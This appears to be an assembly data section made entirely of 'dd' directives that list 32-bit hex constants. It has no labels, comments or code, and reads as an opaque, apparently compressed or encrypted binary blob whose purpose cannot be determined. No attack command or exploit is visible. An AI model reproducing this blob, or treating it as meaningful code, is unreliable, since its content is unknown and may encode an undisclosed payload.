dd 757D605h, 0C0BE8D43h, 9CD7F219h, 0E3AD2C03h, 0E882E266h
dd 90A80C54h, 44A23CF7h, 0BDB99D8Eh, 25013C0h, 527E5411h
dd 5295800h, 0C4860CDh, 0FAA6005Ch, 0E8AACA81h, 967D8F18h
dd 27315F1Fh, 8B1103C3h, 8D29C8D9h, 0CA6B0069h, 71CDD1C1h
dd 8A0055D0h, 1D4899BCh, 136BB28h, 6A2C53ABh, 0D10A34AAh
dd 8864F404h, 9C1C024h, 4D008316h, 8DED7213h, 2198BBh
dd 502FF3D5h, 4BF16E87h, 0B929907h, 0D200F35h, 2C35943h
dd 6D316C62h, 8840098Dh, 15017310h, 5203EDF3h, 0B0FC148Ah
dd 0E2800FD0h, 1C0F4Ch, 0EB462434h, 28007560h, 59A66A7Fh
dd 0C08318h, 4E7EF203h, 0F5FE8111h, 48C07DE0h, 4823344Ch
dd 0D8880075h, 0EA7F2C4Dh, 3679EB32h, 96821100h, 2D94036Ah
dd 0CF63Fh, 990E072Bh, 1C13770Bh, 0C6501700h, 46E024A3h
dd 71480F65h, 0FC020EDh, 7B2738Ch, 920EB700h, 104B053Dh
dd 0AB3A0052h, 24848D0Ah, 0A4003B29h, 5045578Bh, 7C0C222Fh
dd 311718Ch, 3546D251h, 0BE02BC0h, 640083C6h, 80DD98DFh
dd 0FA0451BCh, 2E7505CDh, 0C005DAFDh, 2407EB80h, 39331B48h
dd 651200F5h, 0BE54D21Ch, 0E0587D6Eh, 3D104C88h, 0F7754E01h
dd 304A43B1h, 0B476E849h, 5E9BDC00h, 0A0B8EEF0h, 0E182009Dh
dd 5DEAEC83h, 0E90008E2h, 85C3C7CCh, 97908Dh, 8814577Ah
dd 5D6558DCh, 10056703h, 9843860Fh, 0E2324E52h, 0E03D7668h
dd 13730026h, 0D6881BDBh, 0C30041A2h, 2303C5A7h, 9314E9h
dd 4FD03530h, 0C9FB830Fh, 68054100h, 1E88BF1h, 971129Ch
dd 8D0600C1h, 0A3422E31h, 6500700h, 21BF145Eh, 3D8EFADAh
dd 44D8AC33h, 84E2F00h, 980990F4h, 0E9AB1000h, 32729B23h
dd 3C70BD2Ch, 5A8DCB00h, 0C1A9C14h, 9A1501F5h, 0C2563DCDh
dd 7BD62011h, 0CE08F701h, 2CBFC39Dh, 0C5CDD0C7h, 0D6C100CFh
dd 6763EAD3h, 0C6FC8935h, 946DE407h, 80C092DAh, 0F4887Ah
dd 0D741529Ah, 0CA03140Bh, 89770600h, 868A2411h, 8B40072Dh
dd 8068AE9Ch, 95FA76C3h, 906CC41Ch, 74F07EB8h, 0FF0083F6h
dd 715A7203h, 1E8D0502h, 44FD6Fh, 4163166h, 0C13C2EC5h
dd 6B2400E2h, 0A252C26h, 1AB4002Fh, 314A2789h, 0B0EBDE6h
dd 80F8C183h, 57BA538Eh, 8C93008Bh, 6A733882h, 963D79CFh
dd 0C881002Bh, 0EFD3C503h, 80461E18h, 0E74387CDh, 8A19F24h
dd 0D7E40130h, 0F81CF6E8h, 5B5AEB00h, 0A86C9A14h, 0BD850920h
dd 0AC0EA746h, 2EDBD480h, 0D005AD7h, 25B3AB45h, 71D82C1Dh
dd 856A00A0h, 7303FB01h, 8C008B1Ah, 5AB5629Eh, 0F2300C0Bh
dd 0BF1900E5h, 0EB115194h, 8600FD1Bh, 1552C862h, 0F21FBB4Ch
dd 58D40089h, 0DDB17F1Eh, 500E8E88h, 40B00644h, 8D413914h
dd 3B381D8Bh, 0DE9707C2h, 2BD00024h, 8A3C40D1h, 50880312h
dd 0F0693FE2h, 3907B8Bh, 96C70391h, 0C9F0BD13h, 0CE39FC0Bh
dd 80A5BEB1h, 43B1CE3h, 0F286Eh, 0C6AFC382h, 2C1347D2h
dd 6400FAB0h, 0C217AA83h, 4CCD1852h, 0AB00E428h, 69B03CE8h
dd 850341A3h, 78843888h, 0CB47C370h, 441007C4h, 0F0BB1173h
dd 1D4BDD82h, 9B00D271h, 27E75AFDh, 0D190C3h, 406A8726h
dd 1E100668h, 84E3F900h, 2C1F62BAh, 758EB002h, 307400F7h
dd 2E258380h, 0B53CF18Bh, 0A8178044h, 15E1A7FCh, 3E860EE6h
dd 12C04BAFh, 37208A5Ah, 0A11C51E8h, 5FD73B11h, 7C543700h
dd 767E532Fh, 0B097FCEh, 57428758h, 30ABA580h, 35E8142Bh
dd 102CA907h, 8520BC5Ch, 5155E9h, 0C8807F8h, 743D6224h
dd 4053FE00h, 70358B77h, 31300CEh, 0EB0D68CCh, 8D00632Ch
dd 8309811Bh, 657EE9h, 0A21D03ECh, 0D0FC5F12h, 0C6A63F00h
dd 0EFF91708h, 46F20Bh, 0FCF80FDh, 0B8C1D9B7h, 83F2B900h
dd 2743EC7h, 822F0087h, 2757E181h, 0D900C958h, 0C13BE440h
dd 1F7726h, 0DD021D6Eh, 0FA18D2CBh, 0BA965307h, 62C76F0Ah
dd 0EB1901D0h, 4C917A08h, 923DC229h, 0BA754F81h, 70C71EE4h
dd 0AA3A97A1h, 908B80ACh, 4BE84001h, 0F2530094h, 825A5B1h
dd 970E68B8h, 5E195DEDh, 78CB0E00h, 387225Ah, 56824C75h
dd 539B425Bh, 724D45A8h, 18DB7F00h, 24945A48h, 55890112h
dd 25E2E3AEh, 8FD040B9h, 0C00293Bh, 97ADC65Fh, 6BC572h
dd 0C45B18A1h, 58A5DA88h, 95846007h, 0FC0010C6h, 800203h
dd 0F3E4E938h, 11C9798h, 0C23A8300h, 0C7405674h, 4A9300D4h
dd 4C35B20h, 48000D7Bh, 0DB2A5E52h, 17A95AAh, 6F1CA5A3h
dd 0E8744DCEh, 0B80037D4h, 97778AE3h, 839023h, 4DFF0C05h
dd 0F5C1C4F8h, 0C531EC00h, 4A8DCA7Fh, 70291FEEh, 9CEC0E9h
dd 0ADDC071Ah, 7100D9F4h, 0AEF00CB1h, 3FF45174h, 0EE8031CBh
dd 8DA6C6ACh, 821D27AAh, 14C0C3F1h, 0F5F20195h, 5C8500F6h
dd 0DD54029h, 9200519Dh, 0B2523E4Bh, 3E9A776h, 29E5F810h
dd 0FCB8401Ch, 0ED58DBE8h, 0D5371E65h, 89F4B841h, 3CE702F0h
dd 0B10FC458h, 8280A605h, 87453D80h, 6F936400h, 6D37803h
dd 20050055h, 2608A11Bh, 44006209h, 9811B34Ch, 7E750664h
dd 270C070Dh, 70B68DBFh
dd 8CF61471h, 541A1500h, 0AC2EDC8Ah, 789005Eh, 0A96C7952h
dd 44007C34h, 0E8170509h, 7AD95F7h, 804893D8h, 875C05Dh
dd 141FCCD3h, 6C02CA3h, 18F7C62Dh, 1D890017h, 0F9533BA1h
dd 0A6EC32CEh, 0AC21DE00h, 79E3184h, 0A8363997h, 1D803AFAh
dd 74300E80h, 0B8327563h, 9D607700h, 5CD24DB3h, 580A00B9h
dd 649C100Bh, 840F94A7h, 20309FAEh, 42A9A824h, 0FF011E53h
dd 5780405Bh, 6F646E69h, 734B7705h, 0C580DCAAh, 1353925h
dd 7FE43B7Dh, 7E4F1219h, 60C5AFB0h, 0BD3822C8h, 0ED7FD0F6h
dd 4548FC7Eh, 4D9F0031h, 4E433C69h, 33F80154h, 7542252Eh
dd 344E7095h, 8057900h, 2306A32h, 58700060h, 10258050h
dd 4C00FCBFh, 0C9987ECBh, 0F2C1997Fh, 36BC002Bh, 29A97B84h
dd 0F4F4497Ah, 0DF535700h, 48E71CBBh, 3E79722Dh, 2E00760Ch
dd 95D7F2F0h, 0B5001B7Fh, 0CAFF50D3h, 0DF7126h, 33CD9214h
dd 474F5455h, 6843EC0Fh, 27A0008Ch, 1A40A9h, 7D017F2Eh
dd 137534F8h, 5AD37B03h, 1E9DECh, 64ABFA10h, 34568B46h
dd 0BB668200h, 6BAD48ACh, 0EFEC0075h, 0B95FD4B3h, 5FC0EC2h
dd 0FE120100h, 0A93CEF2h, 0FC064F09h, 0DB642ED6h, 5B15D803h
dd 0AB5CB8AFh, 0A9441DB9h, 0C02D402Bh, 923EE92Eh, 7600F6F8h
dd 199BB82h, 7A75251Ch, 4B0A0F42h, 0C200A7D4h, 447B57FCh
dd 0A38F6950h, 22AF4500h, 7EDE0930h, 1AD6482Fh, 55F0AC00h
dd 0BF5405D4h, 5700A975h, 4B780C73h, 4142ABh, 5B9CFCD6h
dd 9D5A1799h, 0C4D3D0F1h, 0B8AB6E00h, 5123FA0Fh, 0DE20004h
dd 61D92B4Ah, 3100A521h, 7795CE96h, 39411317h, 1ABDAB52h
dd 6A986280h, 2153CCA5h, 0AC73F000h, 0BE927D33h, 0C0AE00D5h
dd 0C7448D3h, 2A000FE6h, 17D88384h, 749C53E9h, 67C40044h
dd 0CB21F25h, 0A030E0Dh, 2A35EAE7h, 4C18E874h, 134B008Dh
dd 0FEF6CCA1h, 85055729h, 8CBA9A3Fh, 0C951CE80h, 0B3070105h
dd 0F9255D02h, 2C81DCD4h, 0A67C3D00h, 41B5A9Ch, 0B3980A34h
dd 1CFEB05h, 0FC79F878h, 0B785ECBAh, 8E23443Eh, 5203A358h
dd 0A552200h, 1D7E664Eh, 0C7101341h, 0B0279943h, 3CEB2806h
dd 0A8EA9200h, 102B2EB0h, 1FCE7E0Dh, 0C183BE5Ah, 0A306B326h
dd 0C307C822h, 81C1E72h, 9801AE3h, 0B89616E2h, 0E4B000Dh
dd 0D0387406h, 0E8390AB3h, 910B0002h, 0AC7A6223h, 4DF94C57h
dd 42014400h, 41920CA5h, 0B4D8BF00h, 0EB15FF60h, 111C4C28h
dd 855BC15Bh, 0D7F0E089h, 0AA9C5E00h, 1254AF75h, 0A0094C0Fh
dd 1F1C800h, 4FE83202h, 0FE0BA100h, 287C0A6Ah, 5E49002Fh
dd 92981062h, 972F7908h, 9E74AFh, 3D024429h, 0E3B9D90h
dd 0EB0726EAh, 4719CC01h, 74C0315Ah, 458A006Ah, 16033CFAh
dd 66002875h, 0BA4B6EA9h, 80FFC3h, 0FA410A86h, 0F6434825h
dd 83D84D00h, 8CE02E0h, 1D9A24F8h, 0BA3F0033h, 3C3B1996h
dd 2437B400h, 0A0C8335Ah, 2A6400D0h, 7DA91A7Ch, 0FA904714h
dd 7A0C2500h, 0CA09E13Dh, 5EA49h, 5BB9827Eh, 0FC0ADE64h
dd 20005077h, 34BA8CF1h, 3A4FB80Bh, 5700D102h, 0B478BF9Ah
dd 0CC001E6Ch, 33FD0FF5h, 5C6A60B9h, 0BA008F01h, 94157C57h
dd 17780A87h, 0F2009077h, 1252988Eh, 9C2C39h, 0FE3ED711h
dd 0F7934ACBh, 0B220400h, 64F840BFh, 0FD820375h, 9C917F70h
dd 533E2F90h, 74739F00h, 435C6D81h, 0C7720075h, 0EBD46EBBh
dd 0CF0FACE8h, 0E0947E53h, 3529DE0Bh, 0AE4F0793h, 0C073EFE4h
dd 495750B4h, 4A4E7100h, 53D83854h, 52450F1Bh, 26410656h
dd 0E84CEC3Ch, 4D7A4E41h, 0AF284B00h, 0FF2E102Dh, 1AEE224h
dd 308298E9h, 0C83A41B0h, 4799B0Dh, 407F7700h, 3D0F0B76h
dd 0E13F0087h, 0D3852489h, 0EC00D257h, 0AF640345h, 481B08h
dd 224B9133h, 0C87B4363h, 0E178AE78h, 0B2F63Ah, 11E40D27h
dd 0F15E084h, 0E93520FBh, 155A040h, 8300F818h, 8A0EF3E1h
dd 3E7630ECh, 0B207F053h, 709217F4h, 0F8347B59h, 0DF031E74h
dd 6552AC29h, 0EFF38812h, 6BC003F2h, 3BC5600Eh, 649D9298h
dd 0F00767E2h, 4654FC08h, 8E31E250h, 65F27Eh, 0A11CEBD8h
dd 4E1F0415h, 4FC4B803h, 0B937036Ch, 6E30F9B0h, 2B130091h
dd 21BF5DE7h, 9C009744h, 61C8427h, 806477h, 0C3695399h
dd 226F0991h, 8B447D1Eh, 12A789C0h, 0C82CB5h, 0ED46BBAh
dd 5B9FEDD9h, 0A21D3700h, 0E0D5E230h, 0FE86000Ch, 0F80EFF54h
dd 8A1D1CA7h, 71C0B110h, 40231B28h, 6F9B014Ah, 57B42C33h
dd 6B72D813h, 61A20900h, 74797D92h, 9F833E49h, 64F7600h
dd 41B10CBCh, 61FC6400h, 65633B6Eh, 19200029h, 503CDEA7h
dd 0E4FF6D6Fh, 64004515h, 0B84F3D69h, 0D0E4ACh, 736566D3h
dd 612D8AE3h, 0C4186C00h, 0CE444D11h, 8E3A03CBh, 4A86EA6Eh
dd 0BBB8BEB8h, 0B926A501h, 9CB2128Bh, 0B864CBE3h, 90940975h
dd 0E2320AF1h, 7CDCDE5h, 20BB3976h, 0B70F4540h, 975C5D24h
dd 18218039h, 0BAA728B9h, 72EB003Ch, 99D7841Dh, 931E0E12h
dd 4F81348Dh, 1A49BEA2h, 55817C4h, 0DB849B0Fh, 0B9C7C093h
dd 99002F64h, 0BBF94BF7h, 1C194D2Ch, 0C0A7B245h, 9ECBF373h
dd 0F3984408h, 8E53143Ah, 48DD56h, 2A88FC95h, 3C5C4887h
dd 45542100h, 0F509764Dh, 4F26B600h, 8FEED912h, 0C21000C0h
dd 9FA1A4B2h, 0E600316Fh, 0BA2A1B7Eh, 0FB3D421h, 0F0B05457h
dd 0B534C627h, 9A9800D8h, 0C91A8F7Eh, 79FF3600h, 0D35DF2E9h
dd 530B018Ch, 974C4450h, 0F07D21D5h, 2201B964h, 0F47BB41Bh
dd 25E0FB16h, 0C6940088h, 8018829Dh, 757BFE3Bh, 2636DE07h
dd 731510C1h, 8D0874C1h, 0FA8CC870h, 94F7FA3h, 0A804BCEh
dd 0F00988Eh, 4388C094h, 4E750161h, 57D874D3h, 0ABC300AEh
dd 0AB06933h, 5C1D5116h, 0B840A7F2h, 3B534108h, 387D0130h
dd 9D4AC2F4h, 72CAF407h, 8F8D0C02h, 0E0DEC312h, 74F8DA2Dh
dd 856F0EDCh, 0B12BD3Ch, 5DFEADh, 42409723h, 31C2008Ah
dd 0EB18F98Bh, 270F3A10h, 0C0097221h, 805703D5h, 75B907FAh
dd 90B389BBh, 9C159C7h, 0D4310F00h, 1398C44Ch, 3047D83h
dd 5570C09Bh, 0D0E70EC8h, 12BC62B8h, 0CAD95200h, 1005DC46h
dd 0B08C00D8h, 1FA4D030h, 6726D443h, 0F601AF27h, 834807E8h
dd 24A814F0h, 3D7538Dh, 0F719B752h, 0C01BD890h, 38840800h
dd 2761012h, 56E90009h, 33557EA5h, 6E1C8B78h, 5DC08F92h
dd 0E805D0D6h, 0B94800AFh, 0A124B767h, 0F500E9BAh, 18EC0C99h
dd 12A95A8h, 0AC0E495Fh, 0D8727D81h, 0FD007F63h, 480FDF05h
dd 2EA4BF17h, 70A42E5h, 30EB3014h, 8CB8E88Ah, 9C472C3Fh
dd 9BC03BE6h, 66AB55Fh, 0C455008Bh, 24A7FA5Ah, 787BF1E9h
dd 0E1723200h, 0EA103D17h, 3484C0E6h, 0E52DF454h, 1A8C2114h
dd 0BC08009Dh, 3D3AD490h, 0A4B10382h, 65DF7201h, 0C76ABDE8h
dd 0DC67F00h, 0A550F246h, 16A60081h, 7322E2E6h, 7C3BCCB8h
dd 821B812Bh, 8FD42F5Dh, 0E8D8E0E9h, 0F202131Eh, 0A0A30109h
dd 0FC799286h, 200012E1h, 6DDFA418h, 7A5699F1h, 429800E0h
dd 10F9C0Eh, 8C0135D8h, 0DEBA8BB6h, 0CC8F85F9h, 33C076E4h
dd 0D040B45Dh, 0D4961900h, 6138A03h, 0BEF93C48h, 944E6F80h
dd 2C77B540h, 0DC752000h, 0D7E5F303h, 7D8324C0h, 740F00DBh
dd 8EC8A38Ch, 703D155Ch, 48D3F00h, 99C62B5Bh, 0C2750033h
dd 32F546E5h, 97008F22h, 2CC86692h, 3D81D140h, 9183D80Ch
dd 4B0A5B6Bh, 4CB8490h
dd 1941CA00h, 8345A0EAh, 0B4B80A62h, 81AE1Eh, 6461C8BCh
dd 0DC009877h, 0CDC003EDh, 6280F0h, 31E075EEh, 7C7E06FAh
dd 3EE66D58h, 30AA0044h, 8D985EE6h, 18890235h, 5808050Bh
dd 810972C0h, 0DB033Fh, 8F8B9B1Ch, 4BC32Bh, 2A299671h
dd 621A40FFh, 50845500h, 0D009A40Ch, 4CE208h, 2F58E830h
dd 71B64F69h, 0CAB03C00h, 20C463E9h, 94BC2441h, 0F61E3Ah
dd 8B28BB3Ah, 48010537h, 2C438319h, 42301221h, 14660030h
dd 16BE8B50h, 0FE00344Ah, 7B80DE02h, 0D6C103h, 0F2B0576Eh
dd 0EA52BA68h, 5900D5ECh, 0F84E8D6Dh, 6C0394Ah, 7705F980h
dd 49FAFC51h, 1904DAFAh, 1708B710h, 29C01E87h, 0B8913248h
dd 89560009h, 33EB684Bh, 7A1CC72Bh, 6E407980h, 1081322h
dd 88191D90h, 1E101D02h, 3E071E04h, 0CEF62780h, 0DE89F1Bh
dd 850F240Bh, 8A3980CCh, 73E43h, 1D74052Ch, 4F83C8FEh
dd 0F50EE3Ah, 0D488FA08h, 842E00BCh, 0AAEDE93Fh, 6ABB00BDh
dd 0F81C904Ch, 87000FC6h, 369C37B7h, 48F38918h, 8009939h
dd 0C8C111ADh, 8E00D509h, 14550E9h, 0FA1833FDh, 25F822h
dd 367B8D05h, 0EB1354BEh, 5C9DA30Fh, 17E980C3h, 14801ABh
dd 425E8414h, 0EDE4F2B4h, 5CBCE488h, 74F244F2h, 5026A9F2h
dd 57038171h, 0B80B20EDh, 3E548602h, 6583C976h, 37A608BAh
dd 0CEE4B898h, 0B9364404h, 1380810Ch, 7614868Ah, 5D450349h
dd 97D45942h, 0BDA400F5h, 93208BF1h, 0E807CC98h, 2D121AD3h
dd 864814C0h, 0A9910077h, 0EB2A8A3Bh, 11012C3Ch, 1408F534h
dd 68F85F64h, 1B3B0178h, 0BE0A0960h, 5310601Dh, 0E200287Fh
dd 4A4B9734h, 9C5A7h, 91160722h, 0D40B944Fh, 0ED145Ch
dd 136DA48Fh, 0E274067Ch, 4409000Eh, 3E882E1Eh, 500056EBh
dd 0B7C4A28Ch, 33C6A65h, 0D689AFF7h, 0E6A01499h, 6300ACD9h
dd 4D4BFCB8h, 0BADCFFh, 0B2365C43h, 0EB2B5A20h, 7CD7F07h
dd 47332C0Ah, 81069017h, 1D3A9024h, 4014C95Fh, 0E57C115Dh
dd 4C00210Eh, 3BF23C10h, 264B22BCh, 19142Ah, 74D807C8h
dd 900785BEh, 68B2A4F0h, 0E6BB4160h, 9FB0000Ah, 0BCB95D09h
dd 0C3004916h, 25856C03h, 0C4001h, 36383420h, 0B6587644h
dd 630011ECh, 0B5C2EF75h, 14302B01h, 0ECFA5390h, 2E0F323Ch
dd 0FD660D4h, 80BDCAE7h, 7257865Fh, 2DE06269h, 63614200h
dd 6E45206Bh, 3568005Eh, 56A47A57h, 3400291Ch, 505B7660h
dd 695D03h, 2F856D75h, 0D4309401h, 535E3Ah, 0C2E349BCh
dd 436517h, 0B6B2BE1Ch, 6D90B56Eh, 58007298h, 307053EFh
dd 3B314BADh, 3752DA5h, 0DCAFB590h, 11905098h, 4D002809h
dd 8C27646Fh, 295525h, 0A534482Ch, 0CD9AFAD8h, 6B019D07h
dd 5070AC53h, 0FC75DEh, 6AD25930h, 4264A128h, 8B83BF12h
dd 1978E000h, 760A464Eh, 0A7091DE5h, 0A87C4027h, 0F67E704Fh
dd 804A0200h, 0CC5B89FCh, 8A787Dh, 0E0B9C45Eh, 0E3820A73h
dd 582F262Eh, 58BED000h, 210F37Eh, 69E0BF80h, 8DD4468Ah
dd 0A074020Eh, 50137D09h, 0B01E005Ch, 114B9487h, 0E43AE021h
dd 0C010003Ah, 0B4292E0Eh, 0DBC307E5h, 0B0481732h, 0BB46B33Ch
dd 6B00E2F0h, 5AA2F9BFh, 49655Fh, 479430Bh, 4CCA7831h
dd 2000E698h, 76324D58h, 0EE476113h, 957C002Eh, 0D8363930h
dd 1B776ACDh, 0B60017B8h, 4A53E8Eh, 584D5Ah, 5E2D48Fh
dd 93D30A29h, 0BF00CB7Ah, 0C1901512h, 7850B346h, 9443072Ch
dd 117ABC49h, 0C0F78498h, 3000540h, 8788021h, 0E8F0110h
dd 0EAA90750h, 0FE09BBC1h, 0E9D260CAh, 0B1793113h, 2078E700h
dd 3E429C7Ah, 8880C6C1h, 0C0219829h, 832E084Eh, 2D00F9FAh
dd 2E10BD87h, 40B73F95h, 96DFA6h, 5B0799F3h, 6DEE9118h
dd 3AEA29F4h, 454CB190h, 0CC51007Bh, 0FC14A13Eh, 2CC41C0Bh
dd 50EB80C2h, 875C1175h, 88649002h, 0E353798Ch, 42123C7Eh
dd 31BCECBCh, 0C3431C8Fh, 4C442000h, 84790F3Ch, 18937C0Eh
dd 804D4F22h, 896F5C91h, 0B440016Dh, 290E5228h, 7972E820h
dd 22351803h, 0B985ADF4h, 8AE04B2Dh, 302C0ED4h, 0DC60A9D3h
dd 32FC3143h, 33F98700h, 0F124E50Bh, 0F57C03CBh, 0A7133026h
dd 0C13B7B98h, 32A9201Eh, 3342F680h, 3955E8h, 6F1D6B6Eh
dd 71205B77h, 0F43AA702h, 0C075304Ah, 76968CBh, 587F8470h
dd 0C3E4435Ch, 6007E8C3h, 0EC100146h, 6404B290h, 0F0F251h
dd 725411D8h, 736E6103h, 74656D00h, 437C19B6h, 775727Bh
dd 0DC34916Fh, 54CC429Dh, 8AABD540h, 320B9501h, 5C19580Ch
dd 0F8EB60D1h, 984662A5h, 0C627018Eh, 86774B85h, 2370E80Eh
dd 72116F01h, 75C47488h, 0F2C7E0h, 3641378h, 45287C14h
dd 780521Fh, 0DC008496h, 0E8C0C68Fh, 570400ABh, 32517353h
dd 76765652h, 0FAB32F04h, 218068DBh, 1624884h, 17A915Dh
dd 0EC18203Ah, 0FC1C89A2h, 3C5FA468h, 559F8CC0h, 4D0390h
dd 0C87D8194h, 716E6547h, 1B6F7500h, 1E69EF12h, 90493B9Eh
dd 0AF942785h, 70FE808Dh, 331F8471h, 41C069EBh, 0D6874F9h
dd 94101C38h, 0A3634724h, 30451ABh, 9152E4EBh, 3C755803h
dd 90784989h, 772D5C0Fh, 8E8F0733h, 102A6461h, 0EB024124h
dd 8248110Eh, 0F8832080h, 9565095h, 0B657E90Eh, 0A524807Dh
dd 0D0FDC2h, 9CBD2A2Fh, 8C463F4Fh, 1A029100h, 0B0ACB878h
dd 0F2957622h, 0E85D0088h, 0DD27771Fh, 0C1007B69h, 873DF441h
dd 50D3622h, 3E25C889h, 4B8C042h, 0F03F6373h, 80C3BB84h
dd 0E0833074h, 88480Fh, 0D9E5D553h, 0B1AB39CAh, 1AB2E90Eh
dd 0ED9B432Ch, 0A41FB022h, 2F3077Fh, 30B62A12h, 1A93867h
dd 59510A0Fh, 658FA0B8h, 1C1745FEh, 7F06BD80h, 5FC1759Eh
dd 40A21D66h, 5121DD84h, 43008D8Ah, 2B52A19h, 0CB7516h
dd 69307659h, 80E06704h, 0E9E46D00h, 4CD2AA13h, 0DBA41F7Eh
dd 0B39002Ah, 0B0A5DACFh, 0F9708A00h, 0C114EE6Ah, 557097D5h
dd 0E53E901Dh, 8F079C5Dh, 5480A808h, 282993h, 915BA5A7h
dd 45A9664Ah, 5D00067Ah, 0AA4085A6h, 4B829AEh, 2B641F03h
dd 0B6AB8072h, 0BEE8BA08h, 0C3CDCFBh, 0C2408E03h, 83CA81C6h
dd 8705E0CEh, 18ED009Ah, 4C331E45h, 48000666h, 10EBC1F6h
dd 18F44E0Fh, 0AECF25AAh, 4301B738h, 1E3F7EA1h, 0E1D08A11h
dd 30AEE96h, 5A607CB1h, 45A8C5EAh, 157AE66Bh, 0ACE22A1Fh
dd 0DE0F5280h, 16ABA8D2h, 35EEC80h, 5B7A592Ah, 19CD58A8h
dd 8C55D800h, 0E89F51B9h, 0B7280016h, 5CBA0B4Eh, 4801FBC9h
dd 1B8D108Bh, 0A6D8E974h, 0FC7540h, 0AD9B914h, 354A5C20h
dd 44008874h, 73102B74h, 7658B2AEh, 0BC30E717h, 1C0D0059h
dd 0EBB0404Bh, 1A075E65h, 21322A54h, 0ACA41040h, 0B34500A7h
dd 0B4114E6Ch, 98F019C9h, 9C3040BDh, 1E5700B6h, 8C3DA1BCh
dd 0C000BEA0h, 7D258D13h, 73B30A2h, 0B5F8FB8Bh, 0C0FA67A3h
dd 22C33657h, 0D2C94D00h, 8CBFECFh, 17AB0082h, 0EA34DC5Dh
dd 87002C45h, 597E294Bh, 1184A1Bh, 0BA9444CBh, 0F732B937h
dd 78921207h, 6E9473E4h, 3582CA09h, 0B1404D54h, 30FD3896h
dd 285C0CFCh, 83090115h, 5054A4C4h, 0FECB59C4h, 0B08D0016h
dd 0BA2DC935h, 7E0EEE24h, 0C0501FCFh, 0A016484Fh, 5EA30096h
dd 8771D7D4h, 0D87E85F4h, 1CDC0800h, 0B1569FA2h, 869400E4h
dd 0D3FB1F55h, 0E800951Ah, 0C8DC633Fh, 1100B26h, 3D801499h
dd 2AE15B18h, 0A4EFB0h
dd 98CE92BFh, 7E591277h, 0B409C401h, 25A656A3h, 0F26AC9CCh
dd 0C8CD002Fh, 8821AF1Ch, 191ECA9Bh, 99C0A543h, 0DF09D611h
dd 0BEE85C10h, 0F101330Fh, 3BFFA6Eh, 221A390Ah, 0F8442AA9h
dd 0EB00883Ch, 5C61976h, 2601E7A0h, 0FA96DE5h, 4321DFA4h
dd 0D15B20A8h, 0E152D1ACh, 4249E0B0h, 0E65B800h, 391048BCh
dd 0CC00059h, 0C4908529h, 156719C8h, 54F02006h, 722CCh
dd 3209D081h, 0CB60C41Bh, 4F2EAA00h, 0AB4E104Dh, 4BDC0FDEh
dd 0FF0FB0E6h, 3B00E2EBh, 65AC82EDh, 923B5F00h, 0FC0A7185h
dd 0D27E9564h, 0F02CF406h, 0B7EC0076h, 0DFFE3862h, 6A3E4307h
dd 0E432005Bh, 0DDE01472h, 42120045h, 2934CC06h, 1EE42D83h
dd 5C1A0102h, 0E0406F2Ch, 0B0A26E1Ch, 0C5CC00C3h, 0ED540C51h
dd 0E7A9333h, 8DA56600h, 9D35EF40h, 14EEAE8h, 8FDDCEEAh
dd 0D4C709D2h, 0C60FE099h, 0E02AB67Ah, 0D62B49AEh, 2F580051h
dd 3DC255D0h, 11DBD03h, 0DC005C77h, 64BCD3B7h, 0F9532610h
dd 80FD0001h, 870D048Fh, 0BF2A9E03h, 0A04FA86Bh, 0AC6865h
dd 40C683D1h, 0B0F8608h, 1448C0EEh, 0A5AD0063h, 642D24FBh
dd 580203F5h, 76DB850Ch, 21C144C0h, 4BCD8600h, 0BC7C247Fh
dd 0EF07A4Ah, 56107005h, 3D0C36E3h, 0DF5144D8h, 6E297A00h
dd 8833022Bh, 75080042h, 1643C394h, 0E047953h, 122147E8h
dd 7F90B6C0h, 519800A2h, 2E1E25E2h, 8000F6F0h, 0DD3C7869h
dd 1D2A38D2h, 55204h, 0C981D868h, 7E0010B4h, 0BFEB6582h
dd 3BB0925h, 4B594CE0h, 56A8F05Ah, 72006116h, 48ADF846h
dd 2D9F7Bh, 4BE70193h, 0D7A7D4FBh, 7906C3Eh, 0E46EF854h
dd 0DDEBBD51h, 703AC70h, 44BCCCF7h, 78E6304Bh, 11007F6Fh
dd 64DFCEE9h, 731724B4h, 886A0758h, 0D06023D6h, 0C4709472h
dd 0BE27D21Fh, 68950C0h, 4F0CAEh, 2F22F114h, 244EC8DDh
dd 0E4082112h, 8C6C8000h, 2CFEF084h, 0CAEE65h, 1625DCF4h
dd 3400AA11h, 6A9488F3h, 0ABCF4Fh, 54801B6Ch, 7765AD7Bh
dd 31C56800h, 2C59958Dh, 57EF1DB0h, 6B5C7F1h, 0F79CF70Dh
dd 12AFA14Eh, 0EBD0DC69h, 3A294100h, 8D8263BCh, 0F87885h
dd 1975809Ah, 92D2FCF4h, 0D1411300h, 0FEEC5D43h, 9DD000E4h
dd 5F0B0879h, 50E41E5Bh, 856D7100h, 0F7659784h, 1294004Ah
dd 2224CA1Dh, 5C0B0810h, 80727453h, 0A5AB2D16h, 0ED750027h
dd 6918A4E4h, 0C0008906h, 0A7BBA8A9h, 4A82BEh, 30145D0Dh
dd 6D6F431Ch, 34876500h, 712C0A73h, 880B39ECh, 0C170C400h
dd 0D34E7909h, 8064523Fh, 2BD01884h, 0BA40F22h, 28447291h
dd 4C9D7B80h, 0D30E3770h, 0E0D8A5BBh, 25876C33h, 927900DEh
dd 12633018h, 0C848D48Bh, 0ACBC00F4h, 178DB6C4h, 0E031FAC2h
dd 0ECB2002Fh, 69540BCAh, 0EA0F4556h, 24985980h, 0A2800C89h
dd 0B87212h, 56AD536Ch, 30C88ADCh, 0E445400h, 6765354Ch
dd 0E109005Ah, 0C95BC370h, 4B017468h, 0E0F82930h, 27D8ABF2h
dd 87640018h, 6BC58E6Dh, 0C8F72873h, 0B200D142h, 0B14F2610h
dd 9055E5h, 947AC427h, 814475Ah, 0D6D18001h, 0EA25F46h
dd 6016CCh, 295CC595h, 2EB06488h, 90E34B16h, 0DCC47F00h
dd 7C44D148h, 0ABF07EDh, 40B36965h, 12B47542h, 806C643Fh
dd 30D2520Ch, 72EB8F6h, 14257669h, 8B59165h, 24FC4E0h
dd 16B0F5Ch, 4E7685Fh, 0D7F8D4C6h, 31A1866h, 88104619h
dd 0C8064301h, 1890141Bh, 2E9104E0h, 73A381Ch, 50AE961Ah
dd 0D27CB865h, 29339F00h, 13AB9C4Ah, 1038000Fh, 2E642B25h
dd 14F02703h, 87D2AD00h, 53588011h, 0FB478B1h, 2190DF3Eh
dd 5CC0A74Eh, 3181779Dh, 0F80BF0BFh, 79E107D9h, 0E0B8AC2Ah
dd 0D234150Ah, 2B00257Ch, 0EDBBC044h, 588AD620h, 0D3004703h
